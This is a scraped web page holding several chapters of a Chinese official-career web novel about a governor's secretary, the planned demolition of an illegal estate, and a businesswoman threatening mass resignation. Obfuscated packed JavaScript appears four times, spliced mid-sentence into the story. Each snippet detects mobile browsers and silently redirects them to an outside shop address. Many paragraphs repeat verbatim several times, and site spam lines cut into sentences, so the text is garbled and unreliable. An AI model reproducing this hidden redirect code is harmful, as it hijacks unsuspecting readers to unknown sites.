;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153032|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 商人很有头脑,她说,天湖庄园的建设是公益性的文旅项目,是与雪忠同志达成过共识的。 她提出了两个方案,第一条,是在今年七月份时,将天湖庄园归还政府经营。 第二条,是政府以租赁形式交给花海集团经营,每年租金一个亿!” “出手很阔绰呀。”孟良德感叹道。 坐在一旁的李承,也是一阵唏嘘。 天湖庄园属于非盈利场所,它是花海集团专门用来公关的。 每年一个亿的租金,三四年的租金,就足够花海集团在其他地方再建设一个天湖庄园出来。 但李美娇不是冤大头,这里面藏着她的智慧。 政府如果跟她签署了租赁合作,天湖庄园的土地合法性就成立了。 而且,这笔钱,也相当于是一种‘保护费’,成为天湖庄园的护身符。 “一个非盈利场所,她愿意开价一个亿,足以见得她在天湖庄园里,通过其他方式捞到了多少好处。” 孟良德暗指****。 “是否有其他获利,这个我们目前没办法考证。”周厚信道,话中带着偏袒的意思。 孟良德微微点头,开口询问:“对于里李美娇的提议,洪波**什么态度?” 摧毁天湖庄园,孟良德势在必行。 可省委的态度,他不得不考虑 第261章 不容置疑 “洪波**倾向于第一种,收归国有。” 周厚信这次过来见孟良德,就是带着马洪波的态度过来的。 天湖庄园的土地性质,经营方式,马洪波一清二楚。 虽说一个亿的租金有一定的诱惑力,但这一个亿的背后代表着什么,马洪波很清楚。 坚决打击这种公关场所,是马洪波的底线。 但在底线之上,考虑将天湖庄园收归国有,又未尝不可。 土地是国家的,收回是理所应当。 这样一来,即可在与花海集团保持距离的情况下,实现利益最大化。 “但是呢,这件事归政府部门负责,洪波**想征询一下您的意见。” 周厚信用的是‘征询’二字,姿态已经放低。 算是给足了孟良德面子。 “既然洪波**问了我的意见,我也挑明了讲,天湖庄园是在违背法律基础上建设的。 破坏了生态保护的红线,就必须要摧毁,这是捍卫法律的底线,不该用利益的方式去衡量。” 孟良德态度表明,在这件事上,他是准备谁的面子都不给。 “良德同志,林区被破坏已经是事实,就算摧毁了天湖庄园,被损坏的园林也无法恢复。 收归国有,反而是损失最小的方式。”周厚信苦口婆心地劝说道。 他的态度,也是马洪波的态度。 “这件事不容商量,就算是洪波**坐在这里,我还是这套说辞。” 孟良德坚决道:“对于花海集团非法毁林占地的行为,也要彻查到底!收归国有不是纵容违法犯罪的理由!” 任何建设,都不能踏破法律红线,这是孟良德的原则。 在他看来,如果收归国有,那么,花海集团的毁林占地行为将合法化。 这是对天湖庄园违法性质的纵容。 开了这个先例,那么,未来就可能出现下一个天湖庄园! “良德同志,特殊事情,就要特殊对待嘛,当年你在鼎洲做经济区的时候,也存在特事特办呀。 我们不能因为花海集团存在的隐性问题,就一棒子都打死啊。” 周厚信挑明曾经孟良德存在的特色特办先例,作为筹码。 又暗指孟良德对花海集团存在偏见,以此想要换回孟良德的态度。 但孟良德压根不吃这套。 “鼎州经济区的时代背景和现在不同,鼎州经济区的建设,是为了城市快速发展。 但一个天湖庄园, 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 能给汉江市的老百姓带来什么? 抛开这个不谈当初鼎州经济区的问题上我也受到了组织的处分。 就因为有了那次的经验我才不能在同一个性质问题上翻车两次!”孟良德不容置疑地道。 听完这番话周厚信也清楚想要改变孟良德的态度基本不可能也不再继续争辩这个话题。 周末中午。 李承和许梦宴请许诗悦一同吃饭。 “梦梦给你介绍一下这位是我的朋友许诗悦。”双方见面李承将许诗悦介绍个许梦。 “许梦姐姐你好。” 许诗悦冲许梦甜甜一笑礼貌地打着招呼。 “你好。” 许梦回以一笑目光落在许诗悦脖颈上的项链:“好漂亮的项链很符合你的气质。” “谢谢。” 许诗悦被赞美了一句笑容更加灿烂几分。 “诗悦你看看有什么想吃的吗?”李承将菜单递了过去问。 “我什么都可以承哥你看着点。”许诗悦将菜单又推了回来。 因为是在外面称呼李秘书这个官职并不好她便改口叫承哥也显得亲切。 “那你有什么忌口的吗?” “除了动物内脏都可以。” 闻言李承点了点头。 许梦喜欢吃什么菜他都了如指掌也就没问。 点好菜李承本想缓和一下气氛。 但他忽略了许诗悦本身就是一个性格开朗的女孩。 “许梦姐我昨天看你发的短视频了那段讲错的口播太逗了你们说错字真的会扣钱吗?” 没等李承开口许诗悦笑嘻嘻地问了起来。 “真的会扣钱我这个月错字很多估计绩效又拿不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158206|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”许梦鼓起嘴无奈地说。 “不能有承哥呢她们不会扣的。”许诗悦也没多想直接说了句实话。 确实在与李承成为情侣之前她每个月的绩效都被苛刻一部分。 可自从有李承这层关系即便说错字也没再扣过钱。 既是扣掉台长也会通过其他方式给找补回来。 “他呀廉洁得很我是一点光沾不到。”许梦笑着回道。 她这么说是对李承的一种保护。 实际上在李承身份的作用下台里给她开了不少的绿灯。 《晚间新闻》的黄金档节目归她主持 你的朋友正在书荒,快去帮帮他吧 ,也由她担任。 许梦现在是妥妥的省电视台一姐。 这都是李承这位省政府‘二号**’威慑下的成果。 这顿饭局,许诗悦和许梦聊得很愉快。 她们两人的性格相似,两人见面,除了是李承介绍,还夹杂着粉丝因素,对彼此就有一定的好感度。 所以,两个人很快就打成了一片。 而李承这位‘牵线搭桥’让她们相识的人,却被凉在了一边。 或许是看李承无人理睬太孤独,许诗悦把话题转移到李承这里:“承哥,听说孟叔叔要查天湖庄园呀?” “嗯,是有这么回事。”李承微笑道。 “这件事恐怕不太好开展,昨天和今天上午,不少人来拜访我爷爷。”许诗悦微微摇了摇头,说。 听到她聊起工作,李承心中不禁多想。 她是为了找话题,随口所讲呢? 还是在试探自己,接触她,是不是有心从她那里得到些消息? 李承看她天真模样,倒不像是在试探。 如果询问一下,或许可以知道都有哪些人在为天湖集团做辩护,也可以提前帮孟良德预防阻力! “我们之间,就不要聊工作上的事情了,没有聊节目有趣。” 李承最终没有选择从许诗悦口中得到任何消息,是以朋友相处,那就要相处得纯粹一些。 至少,现在这个阶段,没有必要因为这点小事,浪费彼此的好感度。 第262章 辞职要挟 ‘铃铃铃’ 周三,李承坐在秘书间,看着汇报给孟良德的文件时,办公座机响了起来。 “你好。”李承拿起话筒,放在耳边。 “你好李处长,我是沈溪,赵总的秘书。” 沈溪的声音从电话中传来,她说:“我们赵总想约见一下孟省长,请问省长什么时候有时间?” “今天省长的行程都已经满了,这样,你等我的电话。”李承说。 在私募穿透,资产评估,以及国资委取得的小股东支持等多方阻截下,赵允想要倾吞国有资产的打算,即将破灭。 她的每一步棋,都在省政府的预测之内。 沈溪打这通电话过来,是赵允的最终挣扎,也是她准备谈条件,聊筹码。 “好的李秘书,麻烦您了。”沈溪笑着答应。 放下电话,李承并没有第一时间汇报给孟良德。 孟良德正在与纪委**李岳明谈事,不宜进入打扰。 其实,今天孟良德下午有一个小时的空闲时间,可以用于接见赵允。 但这要看,孟良德愿不愿意见赵允。 上次省长请她吃饭,她不给面子,现在落了下风,再想挽回局面? 省长可不是她赵允想见,就能见到的。 等到孟良德会见完孟良德,李承这才进入办公室。 “省长,刚才华天精工来过电话,赵允想见您。” 李承汇报情况的同时,并将时间空档说出:“下午三点半,有一个小时的空闲时间。” “嗯,那就让她过来吧。” 孟良德是一个有格局的人,他不会因为占据上风,就给对方下马威,摆官架子。 尽快解决问题,才是他想要的结果。 “好的,那我去通知。” 李承将茶几上使用过的茶具端出去清洗,顺便回了沈溪的电话,告诉她下午三点半过来。 下午三点半。 赵允准时到达省长办公室,李承给她倒了一杯水,便坐在旁边。 赵允坐下后,端着水杯,并没有率先开口。 她不开口,孟良德也不讲话。 像是一场无声的硝烟,气氛十分紧绷。 “孟省长,我还是坚持我的意见,资产置换有利于企业发展,希望得到您和国资委的支持。” 赵允开口,打破这份沉默。 可她的言论,却仍是坚持己见,缺乏谈判该有的态度。 “赵总,国资安全是底线,这句话,不 用我再重复几遍吧?” 孟良德眉头轻皱,有些不耐烦:“如果你今天过来,还是准备在这件事上跟我讨价还价,那就请回吧。” “当然,我不止是为这一件事而来。” 赵允看着孟良德的坚定,她微微一笑:“我知道,您的想法与我的规划相悖论。 也很清楚,在这件事上,我们没有办法达成共识,所以今天,我是想像省长您请辞的。” 赵允说着,打开了她的爱马仕皮包,从里面一沓文件。 “这是我和全体管理层和技术人员的辞职报告,请您过目。”赵允双手递上,态度温和。 可明眼人都知道,这不是请辞,而是逼宫。 如果赵允带着全体管理层和技术人员离开华天精工,那么,整个华天精工将会陷入崩盘的境地。 她是想以此作为要挟,逼着孟良德妥协。 李承看着赵允脸上诚恳的表情,心中腹诽一句:年纪轻轻就成了老狐狸,想以此威胁老板,真是自作聪明。 李承暗骂赵允自作聪明,倒不是说她的手段不高明,相反,她这一招换做其他领导,可能会很管用。 可她用错了人。 孟良德是底线问题上,属于那种宁为玉碎,不为瓦全的人。 哪怕是冒着华天精工崩盘的风险,也不可能妥协。 “赵总,非要走到这一步吗?华天精工是你父亲一手打造的公司,你就忍心将它推进火坑吗?” 孟良德眉头皱得更紧,赵允带着核心员工辞职,的确很棘手。 他也不想闹到这一步。 “就是因为它是我父亲的心血,我才想将它经营得更好。” 赵允摆出一副落寞凄凉的姿态,继续说:“我父亲将华天精工,从一个小作坊,做到了今天的市值,他半生心血投入在这里。 没有我父亲,就没有华天精工的今天,国资委当年的投入,早就收获了千百倍的回报。 而我,只是想把我父亲留下来的企业,经营得更好。” “赵总,谈判到了这个地步,该走的路,你也走得差不多了,没必要再弯弯绕绕了。” 对于赵允的动之以情,孟良德并不买账。 他的耐心很有限,这些天已经在赵允身上浪费了很多。 “那我也就直说了,我的要求很简单,我想要华天精工的绝对控股权。” 赵允见孟良德不为所动,索性也打开天窗说亮话。 “不可能!” 听到赵允的要求 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158207|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 ,孟良德想都没想,直接拒绝了她。 “那就请您收下这份辞职报告。”赵允继续以辞职作为威胁。 “好啊,辞职报告我收下了,我会联系国资委跟你做交接,你的核心班子也会有人找他们谈话。 倘若他们真心愿意跟你走,我和省政府亲自给你们欢送宴!” 孟良德将那沓辞职报告仍在了茶几上,态度决绝,眼神冷漠。 孟良德动怒了! 他虽不愿意看到这个局面的发生,可在维护国资安全底线的问题,他绝不会让步。 李承看着自己这位老板的霸气外漏,又看了看赵允明显慌乱的表情,不由觉得一阵好笑。 其实,这次赵允过来,是明知道绝对控股不可能的。 她以辞职相要挟,是在讨价还价,为了接下来的要求做铺垫。 可她没想到,孟良德竟然没有再跟她商量,接受了他们的辞职报告。 赵允坐在原地,一时间不知该如何是好。 继续谈,她又拉不下来脸。 起身走人? 她又担心国资委真的去集团对接,到那时候,如果她改变主意不辞职,脸面丢得更多。 以后在股东面前都抬不起头。 “那好。” 半晌后,赵允苦笑一声,站起身告辞。 她的脚步很慢,或许是在等一句挽留,可没人理睬她 第263章 请示 “你去找一下谢威,将谈判内容告诉他,让他做好赵允上门的准备。”孟良德看向李承,吩咐道。 “好的省长,这件事谢副省长那边,怎么处理?”李承询问道。 在李承的揣测里,孟良德是唱白脸的,谢威要唱红脸。 他这边坚定地拒绝赵允,到时候由谢威给赵允台阶,进行挽留。 于情,赵允是老董事长的女儿,总不能卸磨杀驴,将他女儿踢出局。 于理,赵允手里掌握大量股权,又有核心骨干的支持。 如果她真的辞职,对公司是一场严重的危机。 于情于理,在保证国资安全的底线上,都不该让赵允离职。 可这只是李承的揣测。 作为一位秘书,在这种重大事情上,不能靠着揣测领导的意思办事。 “能留就留,她真的要硬刚底线,就让她走!”孟良德给出了答复。 “明白。” 李承点头答应,但他并没有离开。 还有一件事,他要跟孟良德做汇报,也要征询孟良德的意见。 “省长,刚才刘市长打来电话,明天天湖庄园要进行爆破拆除,请示您要不要到现场指挥。” 关于天湖庄园的拆除一事,省委和省政府都有不少反对的声音。 这件事甚至在周一的**会议上,进行过一次浅谈。 但这种事,到了**会上,也不会进行投票决定,主要是商量。 毕竟,天湖庄园建筑的本质是违法的。 不少省委**,给出的态度是收归国有,却全部被孟良德驳回。 他的态度异常坚定,甚至提到了京城层面,就连马洪波也没办法。 只好顺着孟良德意见,赞同了拆除天湖庄园的决定。 “这件事让他们市里做就行。”孟良德表示自己不会参加。 李承知道,孟良德不会去。 爆破拆除这种事,对一位日理万机的省长来讲,算不上什么大事。 “这件事民众关注度很高,要不要联系省电视台进行跟踪报道?”李承循序渐进地问。 这里有他的私心,他要帮许梦。 “嗯,可以。”孟良德点头。 “省长,我觉得这是一个不错的素材,如果放在《东江问政》上,会有不错的效果。”李承建议道。 闻言,孟良德抬起头。 目光对碰,李承下意识地回避开目光。 “你小子,这是有私心吧?”孟良德玩味地 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 笑了。 李承这点小心思被他看得透彻。 “我就是建议一下。”李承尴尬地说。 “嗯可以上节目但只能提违建。”孟良德叮嘱道。 不少民众都知道凤凰岭藏着一个天湖庄园。 爆破拆除这个违规建筑也是给民众一个交代。 接着《东江问政》节目的热度将此事宣扬出去没什么坏处。 前提是只能提到违规建设不能提天湖庄园的招待性质。 “好的省长。” 离开省长办公室孟良德联系了谢威的秘书在确定谢威有空闲时间后他赶了过去将孟良德指示传达到位。 下班后李承给省电视台台长赖八法打去一通电话。 “喂李处长您好。” 电话接通赖八法充满笑意的声音传了过来。 “赖台长明天天湖庄园爆破市里有没有跟你打过招呼?”李承问。 市里也会报道这件事李承推测应该有人招呼过。 只不过下午李承还要问一遍孟良德是想循序渐进地切入上《东江问政》的话题。 “打过招呼了我已经做好了安排。”赖八法道。 听李承提到此事他的语气稍微低沉了一点。 “报道主持人安排的谁?”李承问。 “因为是外采工作还有爆破危险我们就安排了一位新来的主持人给新人一个历练的机会嘛。”赖八法解释说。 他很清楚李承给他打这通电话是想给许梦争取机会。 “这个事件省长决定上《东江问政》节目让许梦全程跟进也能让她提前对情况有深度了解。” 李承扯上孟良德的虎皮传达了指示。 扯虎皮办事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168270|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是秘书职位的含金量之一。 很多事情秘书打去电话下属单位都会照做因为他们摸不清这是不是省长的指示。 也没有胆量去亲自找省长核实情况。 张英双那般张狂就是将扯虎皮办大事的方式玩得炉火纯青。 “这个嘛人员已经定下来了临时改变怕是不太好办。”赖八法难为情地说。 外采人员是新员工不假。 但这位员工的来历不浅是某位市领导的亲属。 市领导特意打过招呼赖八法夹在中间他也左右为难。 如果换做是其他主持人李承这通电话打过来都不用等李承开口他就会提议让许梦去 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 。 “怎么个不好办?”李承问。 “李处长,我当然是想办呀,只是.市里打过招呼的嘛。” 赖八法说出自己的苦衷后,他眼睛一转,提议道:“许梦也是去深度了解工作,您看这样行不行,给许梦安排到制片人岗位上,既能了解情况,又能提前熟悉一下领导层工作。” “嗯,可以。” 李承也不为难他,只要让许梦参与进去就可以。 许梦去爆破现场,也不是为了主持节目,她是想录入自媒体素材。 李承认为,以制片人的名义进去,许梦也会很满意。 “那就一言为定了李处长,我这就安排。”赖八法松了一口气,说。 “嗯,辛苦你了。” 挂断电话,李承给许梦发送一条微信过去:【我刚才询问了你们台长,明天天湖庄园的爆破,你是制片人。】 【太好了,这样既能进入现场,也不耽误我的录制个人素材,谢谢老公。】 许梦对于这个结果格外满足。 她连续发送了几颗爱心表情,对李承的手机进行轰炸。 【不用谢我,是你们赖台长安排的,我只是问了一下明天报道的情况。】 李承是一个十分谨慎的人。 谨慎到,在跟许梦的聊天记录里,也不敢强调半点关于使用职权的蛛丝马迹。 第264章 阻力 晚上,李承站在省电视台门口,等待许梦下班。 他吹着夜晚的冷风,点燃一根香烟,强压着身体的疲惫。 “李处长。” 这时,他身旁的一台奥迪车门打开,一个中年男人下了车,主动跟李承打起招呼。 李承闻声望去,将刚点燃的香烟掐灭,迎了上去:“王市长。” 男人是汉江市分管工业的副市长,王耀儒。 “李处长这是来接女朋友下班呀?” 王耀儒跟李承握了下手,笑呵呵地询问。 “是呀。” 李承勉强挤出一个笑,问:“您呢,也是来接人的?” 对方这么晚,等在电视台门口,大概率是接人。 但李承推测,接的人跟他不会是赵金福和黄莉莉那种情人关系。 否则,他也不会主动下车打招呼。 “嗯,我女儿刚入职省电视台,接她下班。”王耀儒解释说。 “王市长白天工作那么繁忙,晚上还能来接姑娘下班,真是一位好父亲呀。” 李承随口恭维了一句。 “李处长的工作量,可不比我少啊,哈哈哈。” 王耀儒看到李承那根烟刚抽一口就因为他的出现而掐灭,于是,他从口袋里拿出香烟,递给一根过去:“许梦是省台的台柱子,到时候我让女儿多跟她请教请教经验,还得麻烦李处长打个招呼。” “不麻烦,同志之间的互相帮助嘛。” 李承接过香烟,点燃后,吸了一口。 两个人互相寒暄闲聊时,省电视台门口走出来一批人。 其中就包括许梦,以及王耀儒的女儿,王安苒。 “王市长,我先过去了。” 李承跟王耀儒打了招呼,准备去迎许梦。 “嗯,改天有时间,我们一起打打羽毛球,听说李处长羽毛球技术一流。” 王耀儒微笑答应,客气一句。 “好啊,没问题。” 李承点头,走向许梦。 “老公,刚才跟你聊天的人,是王市长吗?” 许梦瞟了一眼,正在开门上车的王耀儒和王安苒,问。 她是《晚间新闻》的主持人,每天播报的新闻里,就离不开这些领导相关的工作内容。 所以,她对于东江省各市的主要领导成员,是有一些了解的。 “嗯。” 李承拉开车门,坐上车,问:“他女儿就是明天爆破天湖庄园的主持人吧?” 能让赖八法在换主持人问题上纠结为难的,想来也就是王耀儒打的招呼。 “对,小姑娘性格很傲慢。”许梦说。 “正常。” 人家有傲慢的资格和背景。 有一位副市长的父亲,从小在众星捧月中成长,身边恭维她的人多了,家里人再溺爱一些,就会养成傲慢的性格。 “对了,黄莉莉最近怎么样?” 李承突然联想到了这个人,忍不住地问。 “她完全被边缘化了,挺惨的。” 许梦想到黄莉莉从省台一姐到如今的地步,忍不住唏嘘一声:“你怎么想到她了?” “没什么,好久没看见她了,问一问。”李承启动汽车,朝着家的方向开去。 黄莉莉作为曾经的省台一姐,除了靠赵金福的关系,她自身素质和能力也够硬。 可当赵金福**后,黄莉莉连带被边缘化,昔日她为省台做出的贡献,也随之烟消云散。 李承并非是为黄莉莉感到惋惜。 他在担心,如果孟良德离开了东江省,他也离开了省长秘书的这一职位,今天的黄莉莉,会不会是许梦的明天! ‘铃铃铃’ 次日上午十点,李承接到了来自市长刘宝林的电话。 “刘市长。” 在这通电话打来时,李承便已经知道了对方的目的。 关于天湖庄园爆破拆除,遇到了一些麻烦,这件事,在现场做新闻工作的许梦,已经提前发消息告知给了李承。 “李秘书,爆破现场出现了一些麻烦,隶属于凤凰岭的南沟村,村民自发举行了**。 